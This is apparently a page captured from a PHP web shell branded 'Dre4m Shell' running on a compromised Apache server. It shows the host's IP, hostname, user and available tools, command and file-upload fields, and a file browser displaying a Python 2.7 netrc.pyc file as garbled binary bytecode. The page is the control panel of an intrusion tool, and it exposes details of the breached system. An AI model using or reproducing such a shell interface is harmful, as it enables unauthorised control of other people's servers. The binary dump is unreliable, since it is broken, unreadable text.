Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 216.73.216.27
Web Server : Apache/2.4.65 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/root/proc/2/root/usr/lib/python2.7/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/root/proc/2/root/usr/lib/python2.7/netrc.pyc
�
�,bc@s�dZddlZddlZddlZejdkrHddlZnddgZdefd��YZdd	d��YZ	e
dkr�e	�GHndS(
s-An object-oriented interface to .netrc files.i����NtposixtnetrctNetrcParseErrorcBs&eZdZddd�Zd�ZRS(s5Exception raised on syntax errors in the .netrc file.cCs/||_||_||_tj||�dS(N(tfilenametlinenotmsgt	Exceptiont__init__(tselfRRR((s/usr/lib/python2.7/netrc.pyRs			cCsd|j|j|jfS(Ns%s (%s, line %s)(RRR(R((s/usr/lib/python2.7/netrc.pyt__str__sN(t__name__t
__module__t__doc__tNoneRR	(((s/usr/lib/python2.7/netrc.pyRscBs/eZdd�Zd�Zd�Zd�ZRS(cCs�|dk}|dkr[y tjjtjdd�}Wq[tk
rWtd��q[Xni|_i|_t	|��}|j
|||�WdQXdS(NtHOMEs.netrcs'Could not find .netrc: $HOME is not set(R
tostpathtjointenvirontKeyErrortIOErrorthoststmacrostopent_parse(Rtfilet
default_netrctfp((s/usr/lib/python2.7/netrc.pyRs 
		cCs�tj|�}|jd7_|jjdd�|_x`|j�}}|sSPn|ddkr�t|�d}|jj|d�|jj�q9n�|dkr�|j�}n�|dkr�d}n�|dkrH|j�}g|j	|<d	|_
xG|jj�}	|	s|	d
kr*d|_
Pn|j	|j|	�q�Wq9ntd|||j
��d}
d}}i|j|<x|j�}|jd�s�|ddddhkr|r�|
||f|j|<|j|�Pq�td
||t|�f||j
��q�|dks$|dkr3|j�}
q�|dkrN|j�}q�|dkrxtjdkri|ritj|j��}
|
jtj�kr7ytj|
j�d}Wntk
r�d|
j}nXytjtj��d}Wn!tk
rdtj�}nXtd||f||j
��n|
jtjtjB@ritd||j
��qin|j�}q�td|||j
��q�Wq9WdS(Ns !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~t#tiitmachinetdefaulttmacdefs 	s
s 	
sbad toplevel token %rs&malformed %s entry %s terminated by %stlogintusertaccounttpasswordRsuid %ss9~/.netrc file owner (%s) does not match current user (%s)sY~/.netrc access too permissive: access permissions must restrict access to only the ownersbad follower token %r( tshlext	wordcharst
commenterstreplacet	get_tokentlentinstreamtseektreadlineRt
whitespacetappendRRR
Rt
startswitht
push_tokentreprRtnametfstattfilenotst_uidtgetuidtpwdtgetpwuidRtst_modetstattS_IRWXGtS_IRWXO(RRRRtlexerttoplevelttttpost	entrynametlineR!R#R$tproptfownerR"((s/usr/lib/python2.7/netrc.pyR%s�
	
		






cCs<||jkr|j|Sd|jkr4|jdSdSdS(s8Return a (user, account, password) tuple for given host.RN(RR
(Rthost((s/usr/lib/python2.7/netrc.pytauthenticatorsws
cCs�d}x�|jj�D]x}|j|}|d|dt|d�d}|drr|dt|d�}n|dt|d	�d}qWxU|jj�D]D}|d
|d}x|j|D]}||}q�W|d}q�W|S(s3Dump the class data in the format of a .netrc file.Rsmachine s
	login is
isaccount s
	password ismacdef (RtkeysR2R(RtrepRFtattrstmacroRC((s/usr/lib/python2.7/netrc.pyt__repr__�s
$
 N(R
RR
RRRGRL(((s/usr/lib/python2.7/netrc.pyRs	R		t__main__((RRR;R%R3R8t__all__RRRR
(((s/usr/lib/python2.7/netrc.pyt<module>s$x

Anon7 - 2022
AnonSec Team